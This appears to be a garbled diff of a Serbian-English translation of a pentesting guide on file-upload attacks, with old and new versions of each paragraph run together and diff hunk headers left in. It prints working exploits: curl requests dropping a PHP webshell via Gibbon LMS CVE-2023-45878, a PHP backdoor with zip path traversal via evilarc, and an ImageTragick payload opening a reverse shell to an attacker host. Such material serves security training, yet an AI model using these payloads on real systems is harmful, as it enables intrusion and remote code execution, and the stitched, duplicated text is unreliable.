Izvršavanje payload-a se dešava tokom parsiranja konfiguracionog fajla. Da bi konfiguracija bila aktivirana i parsirana, proces uWSGI mora biti restartovan (potencijalno nakon pada ili zbog Denial of Service napada) ili fajl mora biti podešen na auto-reload. Funkcija auto-reload, ako je omogućena, ponovo učitava fajl u zadatim intervalima nakon što detektuje promene. Izvršavanje payload-a se dešava tokom parsiranja konfiguracionog fajla. Da bi konfiguracija bila aktivirana i parsirana, uWSGI proces mora biti restartovan (potencijalno nakon pada ili zbog Denial of Service napada) ili fajl mora biti podešen na automatsko ponovno učitavanje. Funkcija automatskog ponovnog učitavanja, ako je omogućena, ponovo učitava fajl u zadatim intervalima nakon otkrivanja promena.
Ključno je razumeti labavu prirodu parsiranja konfiguracionog fajla uWSGI-a. Konkretno, pomenuti payload može biti umetnut u binarni fajl (na primer sliku ili PDF), čime se dodatno proširuje opseg potencijalne eksploatacije. Ključno je razumeti popustljivost načina parsiranja konfiguracionih fajlova uWSGI-a. Konkretno, pomenuti payload se može ubaciti u binarni fajl (kao što je slika ili PDF), čime se dodatno proširuje opseg potencijalne eksploatacije.
### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
Unauthenticated endpoint in Gibbon LMS allows arbitrary file write inside the web root, leading to pre-auth RCE by dropping a PHP file. Vulnerable versions: up to and including 25.0.01.
- Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php`
- Method: POST
- Required params:
- `img`: data-URI-like string: `[mime];[name],[base64]` (server ignores type/name, base64-decodes the tail)
- `path`: destination filename relative to Gibbon install dir (e.g., `poc.php` or `0xdf.php`)
- `gibbonPersonID`: any non-empty value is accepted (e.g., `0000000001`)
Minimal PoC to write and read back a file:
```bash
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK
# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
# Verify write
curl http://target/Gibbon-LMS/poc.php
```
Postavite minimalni webshell i izvršavajte komande:
```bash
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
```
Beleške:
- Handler izvršava `base64_decode($_POST["img"])` nakon deljenja po `;` i `,`, zatim upisuje bajtove u `$absolutePath . '/' . $_POST['path']` bez validacije ekstenzije/tipa.
- Rezultujući kod se izvršava kao korisnik web servisa (npr. XAMPP Apache na Windows).
Reference za ovaj bug uključuju usd HeroLab advisory i NVD entry. Pogledajte odeljak References u nastavku.
## **wget File Upload/SSRF Trick** ## **wget File Upload/SSRF Trick**
U nekim prilikama možeš otkriti da server koristi **`wget`** za **preuzimanje fajlova** i da možeš **navesti** **URL**. U tim slučajevima kod može proveravati da li je ekstenzija preuzetih fajlova na whitelisti kako bi se osiguralo da će biti preuzeti samo dozvoljeni fajlovi. Međutim, **ova provera se može zaobići.**\ U nekim slučajevima možete otkriti da server koristi **`wget`** za **preuzimanje fajlova** i da možete **navesti** **URL**. U tim slučajevima kod može proveravati da li je ekstenzija preuzetih fajlova u whitelist-i kako bi osigurao da će biti preuzeti samo dozvoljeni fajlovi. Međutim, **ova provera se može zaobići.**\
Maksimalna dužina imena fajla u **linux** je **255**, međutim, **wget** skraćuje imena fajlova na **236** karaktera. Možete **download a file called "A"*232+".php"+".gif"**, ovo ime fajla će **bypass** proveru (u ovom primeru **".gif"** je **valid** ekstenzija), ali `wget` će **rename** fajl u **"A"*232+".php"**.
Najveća dužina imena fajla u **linux**u je **255**, međutim, **wget** skraćuje imena fajlova na **236** karaktera. Možeš **preuzeti fajl nazvan "A"\*232+".php"+".gif"**, ovo ime fajla će **zaobići** **proveru** (kao u ovom primeru **".gif"** je **validna** ekstenzija) ali `wget` će **preimenovati** fajl u **"A"\*232+".php"**.
```bash ```bash
#Create file and HTTP server #Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -191,11 +231,11 @@ Note that **another option** you may be thinking of to bypass this check is to m
## Alati ## Alati
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) je moćan alat dizajniran da pomogne Pentesterima i Bug Hunterima pri testiranju file upload mehanizama. Koristi različite bug bounty tehnike da pojednostavi proces identifikacije i eksploatacije ranjivosti, obezbeđujući temeljne provere web aplikacija. - [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
### Corrupting upload indices with snprintf quirks (historical) ### Corrupting upload indices with snprintf quirks (historical)
Neki legacy upload handleri koji koriste `snprintf()` ili slične funkcije da izgrade multi-file nizove iz single-file uploada mogu biti prevareni da falsifikuju `_FILES` strukturu. Zbog neusaglašenosti i truncation u ponašanju `snprintf()`, pažljivo konstruisan single upload može izgledati kao više indeksiranih fajlova na server strani, zbunjujući logiku koja pretpostavlja striktan oblik (npr. tretira ga kao multi-file upload i ulazi u unsafe grane). Iako danas nišna pojava, ovaj obrazac “index corruption” se povremeno pojavljuje u CTF-ovima i starijim kodbasama. Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases.
## From File upload to other vulnerabilities ## From File upload to other vulnerabilities
@ -256,25 +296,24 @@ tar -cvf test.tar symindex.txt
``` ```
### Dekompresija u različite direktorijume ### Dekompresija u različite direktorijume
Neočekivano kreiranje fajlova u direktorijumima tokom dekompresije predstavlja značajan problem. Uprkos početnim pretpostavkama da ova konfiguracija može štititi od izvršavanja komandi na nivou OS-a putem malicioznih otpremanja fajlova, podrška za hijerarhijsku kompresiju i mogućnosti directory traversal u ZIP archive format mogu biti iskorišćene. Neočekivano kreiranje fajlova u direktorijumima tokom dekompresije predstavlja značajan problem. Uprkos početnim pretpostavkama da ova postavka može štititi od OS-level command execution putem malicious file uploads, podrška za hijerarhijsku kompresiju i mogućnosti directory traversal formata ZIP arhive mogu biti iskorišćene. To omogućava napadačima da zaobiđu ograničenja i pobegnu iz sigurnih upload direktorijuma manipulisanjem funkcionalnošću dekompresije ciljne aplikacije.
To omogućava napadačima da zaobiđu ograničenja i pobegnu iz sigurnih direktorijuma za otpremanje manipulišući funkcionalnošću dekompresije ciljne aplikacije. Automatizovani exploit za izradu takvih fajlova je dostupan na [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Alat se može koristiti na sledeći način:
Automatizovani exploit za kreiranje takvih fajlova je dostupan na [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Alat se može koristiti na sledeći način:
```python ```python
# Listing available options # Listing available options
python2 evilarc.py -h python2 evilarc.py -h
# Creating a malicious archive # Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
``` ```
Pored toga, **symlink trick with evilarc** je opcija. Ako je cilj da se targetuje fajl kao što je `/flag.txt`, treba kreirati symlink ka tom fajlu na vašem sistemu. Ovo osigurava da evilarc ne naiđe na greške tokom svog rada. Pored toga, **symlink trick with evilarc** je opcija. Ako je cilj da se ciljano napadne fajl poput `/flag.txt`, treba kreirati symlink ka tom fajlu na vašem sistemu. Ovo osigurava da evilarc ne naiđe na greške tokom rada.
Ispod je primer Python koda koji se koristi za kreiranje malicious zip file: Ispod je primer Python koda koji se koristi za kreiranje zlonamernog zip fajla:
```python ```python
#!/usr/bin/python #!/usr/bin/python
import zipfile import zipfile
from io import BytesIO from io import BytesIO
def create_zip(): def create_zip():
f = BytesIO() f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED) z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
@ -291,7 +330,7 @@ create_zip()
Za više detalja **pogledajte originalni post na**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) Za više detalja **pogledajte originalni post na**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Kreiranje PHP Shell-a**: PHP kod je napisan da izvršava komande prosleđene kroz `$_REQUEST` promenljivu. 1. **Creating a PHP Shell**: PHP kod je napisan da izvršava komande prosleđene kroz `$_REQUEST` promenljivu.
```php ```php
<?php <?php
@ -301,55 +340,55 @@ system($cmd);
}?> }?>
``` ```
2. **File Spraying i kreiranje kompresovanih fajlova**: Kreira se više fajlova i sastavlja se zip arhiva koja sadrži te fajlove. 2. **File Spraying and Compressed File Creation**: Više fajlova se kreira i zip arhiva se sastavlja koja sadrži ove fajlove.
```bash ```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php root@s2crew:/tmp# zip cmd.zip xx*.php
``` ```
3. **Modifikacija pomoću Hex Editor-a ili vi**: Imena fajlova unutar zip-a se menjaju pomoću vi ili hex editora, pritom se "xxA" menja u "../" da bi se prolazilo kroz direktorijume. 3. **Modification with a Hex Editor or vi**: Nazivi fajlova unutar zip-a se menjaju koristeći vi ili hex editor, menjajući "xxA" u "../" da bi se išlo kroz direktorijume.
```bash ```bash
:set modifiable :set modifiable
:%s/xxA/..\//g :%s/xxA/../g
:x! :x!
``` ```
## ImageTragic ## ImageTragic
Otpremite ovaj sadržaj sa image ekstenzijom kako biste iskoristili ranjivost **(ImageMagick , 7.0.1-1)** (iz [exploit](https://www.exploit-db.com/exploits/39767)) Otpremite ovaj sadržaj sa image ekstenzijom da iskoristite ranjivost **(ImageMagick , 7.0.1-1)** (pogledajte [exploit](https://www.exploit-db.com/exploits/39767))
``` ```
push graphic-context push graphic-context
viewbox 0 0 640 480 viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context pop graphic-context
``` ```
## Umetanje PHP shell-a u PNG ## Ugradnja PHP Shell-a u PNG
Umetanje PHP shell-a u IDAT chunk PNG fajla može efikasno zaobići određene operacije obrade slike. Funkcije `imagecopyresized` i `imagecopyresampled` iz PHP-GD su posebno relevantne u ovom kontekstu, pošto se obično koriste za resizing i resampling slika. Mogućnost da ugrađeni PHP shell ostane nepromenjen ovim operacijama predstavlja značajnu prednost za određene upotrebe. Ugradnja PHP Shell-a u IDAT chunk PNG fajla može efikasno zaobići određene operacije obrade slika. Funkcije `imagecopyresized` i `imagecopyresampled` iz PHP-GD su posebno relevantne u ovom kontekstu, jer se obično koriste za promenu veličine i ponovno uzorkovanje slika. Mogućnost da ugrađeni PHP Shell ostane neizmenjen ovim operacijama predstavlja značajnu prednost za određene slučajeve upotrebe.
Detaljno istraživanje ove tehnike, uključujući metodologiju i potencijalne primene, dostupno je u sledećem članku: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ovaj izvor pruža sveobuhvatno razumevanje procesa i njegovih implikacija. Detaljno istraživanje ove tehnike, uključujući metodologiju i potencijalne primene, nalazi se u sledećem članku: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/).
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Polyglot fajlovi ## Polyglot Files
Polyglot fajlovi predstavljaju jedinstven alat u cybersecurity-ju, ponašajući se kao kameleoni koji mogu validno postojati u više formata fajlova istovremeno. Zanimljiv primer je [GIFAR](https://en.wikipedia.org/wiki/Gifar), hibrid koji funkcioniše i kao GIF i kao RAR arhiva. Takvi fajlovi nisu ograničeni na ovo sparivanje; kombinacije poput GIF i JS ili PPT i JS su takođe izvodljive. Polyglot fajlovi predstavljaju jedinstven alat u cybersecurity-u, ponašajući se kao kameleon koji može validno postojati u više formata fajlova istovremeno. Zanimljiv primer je [GIFAR], hibrid koji funkcioniše i kao GIF i kao RAR arhiva. Takvi fajlovi nisu ograničeni na ovo sparivanje; kombinacije poput GIF i JS ili PPT i JS su takođe moguće.
Osnovna upotrebljivost polyglot fajlova leži u njihovoj sposobnosti da zaobiđu bezbednosne mere koje filtriraju fajlove po tipu. Uobičajena praksa u raznim aplikacijama je dozvoliti samo određene tipove fajlova za upload—poput JPEG, GIF ili DOC—kako bi se smanjio rizik od potencijalno opasnih formata (npr. JS, PHP, ili Phar fajlova). Međutim, polyglot, usklađujući se sa strukturnim kriterijumima više formata fajlova, može diskretno zaobići ta ograničenja. Osnovna korisnost polyglot fajlova leži u njihovoj sposobnosti da zaobiđu bezbednosne mere koje selektuju fajlove na osnovu tipa. Uobičajena praksa u raznim aplikacijama podrazumeva dozvoljavanje samo određenih tipova fajlova za upload—kao što su JPEG, GIF ili DOC—kako bi se smanjio rizik od potencijalno štetnih formata (npr. JS, PHP ili Phar fajlovi). Međutim, polyglot, prilagođavajući se strukturnim kriterijumima više tipova fajlova, može prikriveno zaobići ova ograničenja.
Uprkos svojoj prilagodljivosti, polyglot-i imaju ograničenja. Na primer, dok polyglot može istovremeno predstavljati PHAR fajl (PHp ARchive) i JPEG, uspeh njegovog uploada može zavisiti od politike platforme vezane za ekstenzije fajlova. Ako je sistem strog po pitanju dozvoljenih ekstenzija, sama strukturna dvoličnost polyglot-a možda neće biti dovoljna da garantuje upload. Uprkos svojoj prilagodljivosti, polygloti imaju ograničenja. Na primer, iako polyglot može istovremeno da sadrži PHAR fajl (PHp ARchive) i JPEG, uspeh njegovog uploada može zavisiti od politike platforme u vezi sa ekstenzijama fajlova. Ako je sistem strogo ograničen po pitanju dozvoljenih ekstenzija, sama strukturna dvostrukost polyglota možda neće biti dovoljna da garantuje upload.
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Upload valid JSONs kao da su PDF ### Otpremanje validnih JSON fajlova kao da su PDF
Kako izbeći detekciju tipa fajla uploadovanjem validnog JSON fajla čak i ako nije dozvoljeno falsifikovanjem PDF fajla (tehnike iz **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): Kako izbeći detekciju tipa fajla uploadovanjem validnog JSON fajla čak i ako nije dozvoljeno, falsifikujući PDF fajl (tehnike iz **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` library**: Sve dok se `%PDF` magic bytes nalaze u prvih 1024 bajta smatra se validnim (pogledati primer u postu) - **`mmmagic` library**: Dokle god su `%PDF` magic bajtovi u prvih 1024 bajta, smatraće se validnim (pogledaj primer u postu)
- **`pdflib` library**: Dodajte lažni PDF format unutar polja JSON-a tako da biblioteka misli da je pdf (pogledati primer u postu) - **`pdflib` library**: Ubaci lažni PDF format unutar polja JSON-a tako da biblioteka misli da je u pitanju pdf (pogledaj primer u postu)
- **`file` binary**: Može da pročita do 1048576 bajta iz fajla. Jednostavno napravite JSON veći od toga tako da ne može parsirati sadržaj kao json, a zatim unutar JSON-a stavite početni deo pravog PDF-a i pomisliće da je PDF - **`file` binary**: Može da pročita do 1048576 bajtova iz fajla. Jednostavno kreiraj JSON veći od te veličine tako da ne može da parsira sadržaj kao JSON, a zatim u okviru JSON-a ubaci početni deo stvarnog PDF-a i on će misliti da je u pitanju PDF
## References ## References
@ -360,6 +399,9 @@ Kako izbeći detekciju tipa fajla uploadovanjem validnog JSON fajla čak i ako n
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) - [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) - [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html) - [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
- [usd HeroLab Gibbon LMS arbitrary file write (CVE-2023-45878)](https://herolab.usd.de/security-advisories/usd-2023-0025/)
- [NVD CVE-2023-45878](https://nvd.nist.gov/vuln/detail/CVE-2023-45878)
- [0xdf HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) - [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
- [CVE-2024-21546 NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546) - [CVE-2024-21546 NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca) - [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)